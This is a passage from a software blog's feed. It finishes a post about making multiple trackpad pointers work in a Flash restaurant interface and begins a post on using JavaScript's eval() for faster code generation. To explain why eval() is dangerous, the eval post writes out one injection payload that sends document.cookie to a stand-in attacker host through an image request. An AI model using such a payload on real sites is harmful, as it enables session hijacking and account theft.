    currentOver.<span style="color: #660066;">alpha</span> <span style="color: #339933;">=</span> <span style="color: #CC0000;">0.5</span><span style="color: #339933;">;</span>
    currentOver <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">null</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>




<p>This code is not broken &#8211; it always works as long as there is only one mouse, and plugins loaded into our system were not necessarily written for multiple mice. The problem comes when you have two mice, and the second mouse could move over a button while the first mouse is still over another. In this demo, since your computer only has one mouse, I&#8217;ve set up draggable arrows to represent the two mice:</p>



    <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="swfobj_4" width="620" height="180">
      <param name="movie" value="/software/files/2010/09/broken-over-sequence-2.swf" />
      <!--[if !IE]>-->
      <object type="application/x-shockwave-flash" data="/software/files/2010/09/broken-over-sequence-2.swf" width="620" height="180">
      <!--<![endif]-->
        
      <!--[if !IE]>-->
      </object>
      <!--<![endif]-->
    </object>


<p>(fun puzzle: try and make all the boxes dark by dragging the two mouse pointers)</p>

<p>It would be trivial to rewrite the above code in a way that doesn&#8217;t break with two mice, but we wanted to be able to run any SWF without modification.</p>

<p>To solve this problem each pointer gets its own MouseManager that is tied to a specific display object container, so that they only keep track of objects inside that container. This way, each loaded plugin only has one mouse that can interact with it, and code written for one mouse can&#8217;t get confused:</p>



    <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="swfobj_5" width="620" height="392">
      <param name="movie" value="/software/files/2010/09/broken-over-sequence-3.swf" />
      <!--[if !IE]>-->
      <object type="application/x-shockwave-flash" data="/software/files/2010/09/broken-over-sequence-3.swf" width="620" height="392">
      <!--<![endif]-->
        
      <!--[if !IE]>-->
      </object>
      <!--<![endif]-->
    </object>


<p>I distinctly remember the first time I saw the above proof-of-concept: I thought the hard part was over, and sent a triumphant e-mail claiming that the two-mouse system was &#8220;all over bar the integration&#8221;. Ha! How wrong I was.</p>

<h1>Part 2: ActionScript is not the best language for a device driver</h1>

<p>Inamo uses trackpads built into the tabletop:</p>

<div id="attachment_59" class="wp-caption alignnone" style="width: 610px"><img src="/software/files/2010/09/trackpad-photo.jpg" alt="Photo of inamo trackpad" title="trackpad-photo" width="600" height="400" class="size-full wp-image-59" /><p class="wp-caption-text">PR photos don't lie: inamo is a beautiful restaurant for beautiful people</p></div>

<p>Each trackpad communicates with the client PC via Bluetooth. To prevent Windows merging both trackpads into a single virtual device, we reprogrammed the trackpads to present themselves to Windows as generic COM ports, issuing forth a stream of <a href="http://www.kryslix.com/nsfaq/Q.12.html">standard 3-byte movement packets</a>.</p>

<p>At the start of the project, my plan for getting these packets of data into Flash read a bit like this:</p>

<ol start="1" type="1">
	<li>3-byte data packet arrives over Bluetooth into COM port</li>
	<li>erm, something&hellip; I&#8217;ll figure it out later</li>
	<li>ActionScript MouseManager interprets 3-byte packet</li>
</ol>

<p>Imagine my surprise when step 2 turned out to be problematic. Flash is designed from the ground up to run on the Internet. It can&#8217;t access any of the client PC&#8217;s hardware such as serial ports, and it can&#8217;t run programs on the client PC.</p>

<h3>Attempt 1: in through the front door</h3>

<p>Since the only way you can get data into Flash is over a network, the obvious solution was to build a server that sends mouse data over a network connection. Since on the one hand it needed to be written in a language that supports Windows serial ports, and on the other hand I hate C++ with a passion that most people reserve for child molesters, the best choice for this was C#.</p>

<p><i>Edited in 2011 to add: I take it all back, C++ is awesome</i></p>

<p>I built a small C# / Windows Forms app that opened a COM port to the trackpad, interpreted the binary data, converted it to coordinates, encoded it as XML and broadcasted to any clients listening on a TCP socket. Meanwhile in Flash, the MouseManager used ActionScript&#8217;s XMLSocket class to connect to the C# app and receive mouse movement data.</p>

<p>Throwing this all together I saw that it worked, and sent out a second triumphant e-mail claiming to have solved the mouse issue.</p>

<p>A brief aside: when my wife and I are watching an episode of House MD on the laptop, there will be several moments where Greg House says something like &#8220;Of course! The ampicillin caused the reverse toxinecrosis in the frontal cortex because of the beta-blockers we prescribed for the rabies, but if we replace them with doxycyclin then the bacteria will all die and the patient will be home for lunch!&#8221; Is House right, one wonders? At this point we wiggle the mouse so that the DVD player application displays a progress bar. If the progress bar isn&#8217;t almost all the way to the right, then an unforeseen (by House, not by us) complication will emerge and the patient will be back in a coma faster then you can say &#8220;formulaic&#8221;.</p>

<p>Well look at the scroll bar to the right of this page and tell me: did the C# server solve the problem? Did it bollocks.</p>

<p>On my hefty development workstation there was never more than a one frame delay between a data packet arriving at the C# server and it being processed by Flash &ndash; moving your finger on the trackpad caused a near-instantaneous movement of the mouse pointer drawn by Flash. When I loaded the software onto the cheap PCs we were using for all the clients in the restaurant, this rose to four frames, causing a painfully obvious lag.</p>

<p>Testing revealed that this delay happened between the C# server sending a TCP packet and the Flash client receiving it, so it was out of our control &ndash; the network stack on the cheap PCs just didn&#8217;t shuttle data around fast enough. </p>

<p>Goodbye plan A.</p>

<h3>Attempt 2: in through the back door, or &#8220;have you tried doing it in C++?&#8221;</h3>

<p>Like I said earlier, Flash only accepts data over the network, but there are products that change this. SWF to EXE compilers such as MDM Zinc take an SWF file and compile it into an Windows program. In doing so they make available a range of enhanced ActionScript classes for dealing with things like printers and, (joy!), COM ports.</p>

<p>A brief reading of the documentation quickly extinguished that joy: rather than allowing multiple instances, the COMPort class of MDM Zinc uses static properties and methods, like so:</p>


<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #006600; font-style: italic;">// sample 3: &quot;Object-oriented&quot; does not mean &quot;procedural with dots in&quot;</span>
COMPort.<span style="color: #000066;">open</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">3</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
COMPort.<span style="color: #660066;">addEventListener</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;onCOMPortData&quot;</span><span style="color: #339933;">,</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>result<span style="color: #339933;">:*</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">:</span><span style="color: #000066; font-weight: bold;">void</span> <span style="color: #009900;">&#123;</span>
    trace<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;data on COM3 port: &quot;</span> <span style="color: #339933;">+</span> result.<span style="color: #660066;">data</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>




<p>In other words, to make it very slightly easier to access COM ports, they&#8217;ve made it impossible to access more than one at a time. Thanks.</p>

<div class="sidebar">
<p><a href="http://en.wikipedia.org/wiki/DangerMouse"><img src="/software/files/2010/09/dangermouse.jpg" alt="Danger Mouse" title="Danger Mouse" width="240" height="372" class="alignnone size-full wp-image-57" /></a></p>
</div>

<p>Fortunately, there is also a DLL class that allows you to instantiate arbitrary DLLs, call functions and return data. Huzzah! I wrote a DLL in C++ that replaced the network connection of the C# server with a Windows named pipe. Named pipes are regions of shared memory that allow two programs to communicate with each other almost instantaneously. Given the amount of time it took debugging the pointer operations in the C++ DLL, and its tendency to make the whole application crash for no apparent reason, I called the DLL DangerMouse and the client ActionScript code Penfold.</p>

<p>I compiled and ran the new system, and noted with delight that the latency had dropped to one frame, as any data packets arriving at the COM port were picked up immediately by the DLL / ActionScript combination. It was surprising therefore that the mouse pointer just as sluggish as before.</p>

<p>The problem was that while the latency had been reduced to one frame, the frame rate had dropped from twenty frames per second to a mere five; the whole system was running at a quarter speed, and was completely unusable. It seems that MDM Zinc has a computational overhead on each frame that was barely noticeable on my workstation, but caused a massive degradation on the cheap client PC.</p>

<p>Not to worry, I am Options Boy, and there are always more options. I tested a competitor to MDM Zinc called Northcode SWF Studio. This works the same way, but has far less overhead on each frame, giving us a more healthy fifteen frames per second. That&#8217;s a start, but smooth animation requires twenty.</p>

<p>I turned to profiling and optimising the UI, looking for any redundant computation to remove. After a week of swimming in the last year&#8217;s worth of code and unearthing many performance bottlenecks (including, most embarrassingly, the discovery that the slowest bit of code in the application was the performance monitoring subsystem) I emerged successful: twenty frames per second on the client PC, just like it had been on my workstation.</p>

<p>The fact that I had so obviously succeeded made it all the more depressing when I discovered once again that the pointer was still not usable.</p>

<p>The problem this time was then when I ran the UI on the development workstation I had been using a standard mouse for testing. When using a mouse you know how much you need to move the mouse by in order to move the pointer to a target, and if the pointer lags behind a bit it doesn&#8217;t matter: you move the mouse by the right amount, and the pointer catches up a fraction of a second later. A trackpad is different because you&#8217;re always looking for visual feedback from the pointer, and even the slightest latency causes you to overshoot the target. 20 frames per second was fast enough for a mouse, but not for a trackpad, and there was no way the UI would run any faster. Options Boy was bang out of options.</p>

<p>There is a nonzero probability that calling a badly debugged device driver DangerMouse was the funniest thing I will ever do. Therefore when I discovered that this whole approach had to be abandoned, I think the biggest disappointment was that I had to abandon those lovely component names.</p>

<h3>Attempt 3: What Would Windows Do?</h3>

<p>By this point I was mildly upset, since the only route out of this predicament that I could see was to recommend buying faster hardware, and when you start multiplying any extra cost by 31 tables, things start getting unpleasant really fast. While I was browsing the web for computers that are fast, small and cheap (it seems you can pick any two) and wondering how best to sell a five-figure increase in the project cost, I asked myself why more applications don&#8217;t suffer from this problem.</p>

<p>GUI applications do occasionally lock up for a few tenths of a second as they perform some calculation or wait for an IO operation to complete, but you hardly notice. If you click on a button of an application that is unresponsive, the click event is queued until the application finishes it&#8217;s calculation, after which it will respond. You may notice the delay but it&#8217;s unlikely to irritate you, because you didn&#8217;t have to wait in order to click the button, you only had to wait for the click to be processed. In other words, as long as the pointer doesn&#8217;t stop moving, the user feels in control.</p>

<p>Suddenly it made sense why the mouse pointer is always drawn by the operating system and not by GUI applications themselves. The operating system can dedicate a high-priority process just to drawing the pointer, so that even if every application slows down to a crawl, the user can still interact at a normal speed. By drawing the mouse pointer in Flash, I had made sure that  any slight dip in frame rate had a direct effect on the responsiveness of the mouse pointer.</p>

<p>What we needed was an application running beside the main UI that could draw the mouse pointers on top of it, and we already had one: the C# mouse server. There is a function in the Windows API called <a href="http://msdn.microsoft.com/en-us/library/ms633556(VS.85).aspx">UpdateLayeredWindow</a> that programs like WinAmp use to draw non-rectangular interfaces. I used this (via C#&#8217;s p/invoke interface that lets you call functions in native DLLs) to overlay a transparent PNG of the mouse pointer that was, to the user, indistinguishable from the one drawn by Flash. Better still, by setting the process priority of the C# server to above normal, Windows will ensure that no matter how slow the Flash animation runs or how much CPU it is taking up, the C# server will always be able to update the pointer position as soon as a new mouse data packet arrives.</p>

<p>Thoroughly expecting it to not work for some reason, I compiled the project and installed it on the cheap client PC. It worked. I had finished.</p>

<h1>Conclusion</h1>

<p>So what did I learn from this project? I started my programming career making web animations, and so I approached this problem as an animation issue, when really it was an operating system issue. If I had initially phrased the problem as &#8220;what is the fastest way to draw a mouse pointer?&#8221; rather than &#8220;how do I increase the frame rate of my animation?&#8221; then I might have finished the project a month earlier.</p>

<p>But then again, if I&#8217;d finished the project a month earlier I wouldn&#8217;t have found out what the Windows API means by a null named blocking byte type pipe, so it wasn&#8217;t all bad.</p>

<p>Inamo is open now in Soho, London. If working on a system like this sounds fun, they&#8217;re always looking for smart ActionScript and Java developers. If you are interested, or know anyone who might be, contact me.</p>]]></content:encoded>
			<wfw:commentRss>http://berniesumption.com/software/inamo-mouse-system-multiple-mouse-pointers-in-flash/feed/</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>eval() considered useful: code generation in JavaScript</title>
		<link>http://berniesumption.com/software/eval-considered-useful/</link>
		<comments>http://berniesumption.com/software/eval-considered-useful/#comments</comments>
		<pubDate>Thu, 30 Sep 2010 12:09:29 +0000</pubDate>
		<dc:creator>bernie</dc:creator>
		
		<guid isPermaLink="false">http://berniesumption.com/software/</guid>
		<description><![CDATA[If ever a feature of JavaScript was considered harmful, it's eval(). It's so commonly abused that if I'm interviewing a JS web developer, I usually ask something along the lines of "what is eval(), and why shouldn't you use it". &#8230; <a href="http://berniesumption.com/software/eval-considered-useful/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>If ever a feature of JavaScript was considered harmful, it's <code>eval()</code>. It's so commonly abused that if I'm interviewing a JS web developer, I usually ask something along the lines of "what is <code>eval()</code>, and why shouldn't you use it". It's so commonly abused that Yahoo JavaScript architect Douglas Cronkford considers it "evil", and his JavaScript style checker <a href="http://www.jslint.com/lint.html">JSLint</a> reports use of it as an error.</p>

<p>People dislike <code>eval()</code> because it's perceived to be slow and insecure. In this article I describe a way to use <code>eval()</code> to make your application <i>faster</i>.</p>

<p><u>Watch out!</u> This is a black belt technique. Rasmus Lerdorf, the creator of PHP, once wrote that <i>"if eval() is the answer, you're almost certainly asking the wrong question"</i>. Use it as a last resort when other optimisations have failed. Or to show off.</p>

<h2>Burn the witch!</h2>

<p>Dislike of <code>eval()</code> stems almost entirely from the commonly seen schoolboy error of using <code>eval()</code> whenever you need to access a variable whose name is stored in another variable:</p>


<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #006600; font-style: italic;">// incorrect way of setting a member variable:</span>
<span style="color: #000066; font-weight: bold;">eval</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;myObject.&quot;</span> <span style="color: #339933;">+</span> varName <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot; = 'new value'&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #006600; font-style: italic;">// the schoolboy should have done this:</span>
myObject<span style="color: #009900;">&#91;</span>varName<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">'new value'</span><span style="color: #339933;">;</span></pre></div></div>




<p>Not only is the first version 20 times slower (tested on Firefox), but it is also an invitation to code execution attacks. Imagine what would happen if an attacker managed to set varName to this:</p>

<p><code>foo='new value';window.i = new Image(); i.src = 'http://evilsite.com/" + track.php?cookie=' + escape(document.cookie);//</code></p>

<p>Yup, that would set <code>myObject.foo</code> to 'new value', then create a new image, loaded from the attacker's site. The image is served from a script that records the cookie passed to it. If the script is clever, it will return a valid image so that no errors are produced, and nobody is the wiser. If your web application doesn't tie a session to a single IP address (like most PHP applications for example), the attacker can now extract your session ID from the cookie and log in as you. Ouch.</p>

<p>In fact, it's not just beginners that fall for this. This is a real example collected from <a href="http://www.codeproject.com/jscript/ObjectsInJavaScript.asp">an old tutorial</a> on the respected (by me at least) site <a href="http://www.codeproject.com">The Code Project</a>:</p>


<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #006600; font-style: italic;">// this function is supposed to take a string class name, create an</span>
<span style="color: #006600; font-style: italic;">// instance of that class, and copy all of the members of the new</span>
<span style="color: #006600; font-style: italic;">// instance into a dictionary. ${DEITY} knows why you'd want to do</span>
<span style="color: #006600; font-style: italic;">// that, but that's not the point of this sample</span>
&nbsp;
<span style="color: #006600; font-style: italic;">// incorrect way of accessing members:</span>
<span style="color: #003366; font-weight: bold;">function</span> CreateCollection<span style="color: #009900;">&#40;</span>ClassName<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #003366; font-weight: bold;">var</span> obj<span style="color: #339933;">=</span><span style="color: #003366; font-weight: bold;">new</span> Array<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066; font-weight: bold;">eval</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;var t=new &quot;</span><span style="color: #339933;">+</span>ClassName<span style="color: #339933;">+</span><span style="color: #3366CC;">&quot;()&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066; font-weight: bold;">for</span><span style="color: #009900;">&#40;</span>_item <span style="color: #000066; font-weight: bold;">in</span> t<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #000066; font-weight: bold;">eval</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;obj.&quot;</span><span style="color: #339933;">+</span>_item<span style="color: #339933;">+</span><span style="color: #3366CC;">&quot;=t.&quot;</span><span style="color: #339933;">+</span>_item<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #000066; font-weight: bold;">return</span> obj<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #006600; font-style: italic;">// the above function should read:</span>
<span style="color: #003366; font-weight: bold;">function</span> CreateCollection<span style="color: #009900;">&#40;</span>ClassName<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #003366; font-weight: bold;">var</span> obj <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span> _item<span style="color: #339933;">,</span> t <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> window<span style="color: #009900;">&#91;</span>ClassName<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066; font-weight: bold;">for</span><span style="color: #009900;">&#40;</span>_item <span style="color: #000066; font-weight: bold;">in</span> t<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        obj<span style="color: #009900;">&#91;</span>_item<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> t<span style="color: #009900;">&#91;</span>_item<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #000066; font-weight: bold;">return</span> obj<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>




<h3>Unless the witch {is: "made", of: "JSON"}!</h3>

<p>With the growing popularity of <a href="http://www.json.org/js.html">JSON</a>, poor little eval has finally become respected. It might be slow compared to square[bracket] member access, but since JSON is actually JavaScript code, it's <b>much</b> faster to parse JSON using eval than it is to parse XML using the DOM.</p>

<p>But there is another way that <code>eval()</code> can speed up your application...</p>

<h2>Metaprogramming: a contrived example</h2>

<p>JavaScript is a dynamic language and some things are just slow, in particular, function calls and <code>for(x in y)</code> loops. "Slow" is relative here - we're talking microseconds, but these things can really add up if you're doing them inside a loop that runs a few thousand times. This is a pity, because functions and loops help you write generic code that can be reused in other situations.</p>

<p>The problem is made worse when you consider that JavaScript only has one thread, so if a script spends a second calculating something, the whole UI will freeze up for a second - no buttons can be clicked or keystrokes typed.</p>

<p>Let's say you want to create a kind of class called a Multiplier. This class is constructed with a data object and a coefficient number. The data object is stored in a public variable, and every time the <code>multiply()</code> method is called, every number anywhere in the data object is multiplied by the coefficient. For example:</p>


<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> mul <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> Multiplier<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span>a<span style="color: #339933;">:</span><span style="color: #CC0000;">10</span><span style="color: #339933;">,</span> subObject<span style="color: #339933;">:</span><span style="color: #009900;">&#123;</span>b<span style="color: #339933;">:</span> <span style="color: #CC0000;">11</span><span style="color: #339933;">,</span> c<span style="color: #339933;">:</span><span style="color: #3366CC;">&quot;foo&quot;</span><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span> <span style="color: #CC0000;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #006600; font-style: italic;">// mul.data == {a:10, subObject:{b: 11, c:&quot;foo&quot;}}</span>
mul.<span style="color: #660066;">multiply</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #006600; font-style: italic;">// mul.data == {a:20, subObject:{b: 22, c:&quot;foo&quot;}}</span>
mul.<span style="color: #660066;">multiply</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #006600; font-style: italic;">// mul.data == {a:40, subObject:{b: 44, c:&quot;foo&quot;}}</span></pre></div></div>




<p>As I said, it's a contrived example, but the pattern behind it is common: you have to do something to an object, but you don't know the structure of the object in advance.</p>

<p>It's easy to implement. Here's one possible obvious implementation:</p>


<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #006600; font-style: italic;">// this Multiplier uses reflection - i.e. for (x in y) - to</span>
<span style="color: #006600; font-style: italic;">// traverse the data object</span>
<span style="color: #003366; font-weight: bold;">function</span> ReflectingMultiplier<span style="color: #009900;">&#40;</span>data<span style="color: #339933;">,</span> coefficient<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">data</span> <span style="color: #339933;">=</span> data<span style="color: #339933;">;</span>
    <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">coefficient</span> <span style="color: #339933;">=</span> coefficient<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
ReflectingMultiplier.<span style="color: #660066;">prototype</span>.<span style="color: #660066;">multiply</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000066; font-weight: bold;">this</span>._multiply<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">data</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
ReflectingMultiplier.<span style="color: #660066;">prototype</span>._multiply <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>data<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #003366; font-weight: bold;">var</span> prop<span style="color: #339933;">;</span>
    <span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span>prop <span style="color: #000066; font-weight: bold;">in</span> data<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #000066; font-weight: bold;">switch</span> <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">typeof</span> data<span style="color: #009900;">&#91;</span>prop<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
            <span style="color: #000066; font-weight: bold;">case</span> <span style="color: #3366CC;">&quot;number&quot;</span><span style="color: #339933;">:</span>
                data<span style="color: #009900;">&#91;</span>prop<span style="color: #009900;">&#93;</span> <span style="color: #339933;">*=</span> <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">coefficient</span><span style="color: #339933;">;</span>
                <span style="color: #000066; font-weight: bold;">break</span><span style="color: #339933;">;</span>
            <span style="color: #000066; font-weight: bold;">case</span> <span style="color: #3366CC;">&quot;object&quot;</span><span style="color: #339933;">:</span>
                <span style="color: #000066; font-weight: bold;">this</span>._multiply<span style="color: #009900;">&#40;</span>data<span style="color: #009900;">&#91;</span>prop<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #000066; font-weight: bold;">break</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>




<p>The problem with the above is that it's slow. In order to carry out two multiplication operations, each of which are extremely quick, you use two function calls and two <code>for</code> loops.</p>

<h3>Performance test</h3>


<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #006600; font-style: italic;">// ReflectingMultiplier test code:  calculate the average time taken</span>
<span style="color: #006600; font-style: italic;">// to call multiply()</span>
<span style="color: #003366; font-weight: bold;">var</span> TIMES <span style="color: #339933;">=</span> <span style="color: #CC0000;">100000</span><span style="color: #339933;">;</span>
<span style="color: #003366; font-weight: bold;">var</span> obj <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span>a<span style="color: #339933;">:</span><span style="color: #CC0000;">1</span><span style="color: #339933;">,</span> b<span style="color: #339933;">:</span><span style="color: #009900;">&#123;</span>foo<span style="color: #339933;">:</span><span style="color: #CC0000;">2</span><span style="color: #339933;">,</span> bar<span style="color: #339933;">:</span><span style="color: #CC0000;">4</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span> c<span style="color: #339933;">:</span><span style="color: #009900;">&#123;</span>quux<span style="color: #339933;">:</span><span style="color: #CC0000;">5</span><span style="color: #339933;">,</span> blarty<span style="color: #339933;">:</span><span style="color: #CC0000;">6</span><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #003366; font-weight: bold;">var</span> mul <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> ReflectingMultiplier<span style="color: #009900;">&#40;</span>obj<span style="color: #339933;">,</span> <span style="color: #CC0000;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #003366; font-weight: bold;">var</span> start <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> Date<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066; font-weight: bold;">for</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> i<span style="color: #339933;">=</span><span style="color: #CC0000;">0</span><span style="color: #339933;">;</span> i<span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span>TIMES<span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    mul.<span style="color: #660066;">multiply</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #003366; font-weight: bold;">var</span> end <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> Date<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #003366; font-weight: bold;">var</span> time <span style="color: #339933;">=</span> end.<span style="color: #660066;">getTime</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> start.<span style="color: #660066;">getTime</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">1000</span> <span style="color: #339933;">*</span> time <span style="color: #339933;">/</span> TIMES<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot; microseconds average&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>




<script type="text/javascript">
    // this Multiplier uses reflection - i.e. for (x in y) - to traverse the data object
    function ReflectingMultiplier(data, coefficient) {
        this.data = data;
        this.coefficient = coefficient;
    }
    ReflectingMultiplier.prototype.multiply = function() {
        this._multiply(this.data);
    }
    ReflectingMultiplier.prototype._multiply = function(data) {
        var prop;
        for (prop in data) {
            switch (typeof data[prop]) {
                case "number":
                    data[prop] *= this.coefficient;
                    break;
                case "object":
                    this._multiply(data[prop]);
                    break;
            }
        }
    }
    function doTestReflectingMultiplier() {
        var TIMES = 100000;
        var mul = new ReflectingMultiplier({a:1, b:{foo:2, bar:4}, c:{quux:5, blarty:6}}, 2);
        var start = new Date();
        for (var i=0; i<TIMES; i++) {
            mul.multiply();
        }
        var end = new Date();
        var time = end.getTime() - start.getTime();
        alert((1000 * time / TIMES) + " microseconds average run time");
    }
</script>

<p><button onclick="doTestReflectingMultiplier();">test ReflectingMultiplier</button></p>

<p>The problem here is that the <code>multiply()</code> method inspects the object every time it is called, even though the data object never changes. If you knew the structure of the data object in advance, you could write a much better implementation:</p>


<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #006600; font-style: italic;">// if you know the coefficient and the structure of the data object,</span>
<span style="color: #006600; font-style: italic;">// everything is much simpler</span>
ReflectingMultiplier.<span style="color: #660066;">prototype</span>.<span style="color: #660066;">multiply</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">data</span>.<span style="color: #660066;">a</span> <span style="color: #339933;">*=</span> <span style="color: #CC0000;">2</span><span style="color: #339933;">;</span>
    <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">data</span>.<span style="color: #660066;">b</span>.<span style="color: #660066;">foo</span> <span style="color: #339933;">*=</span> <span style="color: #CC0000;">2</span><span style="color: #339933;">;</span>
    <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">data</span>.<span style="color: #660066;">b</span>.<span style="color: #660066;">bar</span> <span style="color: #339933;">*=</span> <span style="color: #CC0000;">2</span><span style="color: #339933;">;</span>
    <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">data</span>.<span style="color: #660066;">c</span>.<span style="color: #660066;">quux</span> <span style="color: #339933;">*=</span> <span style="color: #CC0000;">2</span><span style="color: #339933;">;</span>
    <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">data</span>.<span style="color: #660066;">c</span>.<span style="color: #660066;">blarty</span> <span style="color: #339933;">*=</span> <span style="color: #CC0000;">2</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>




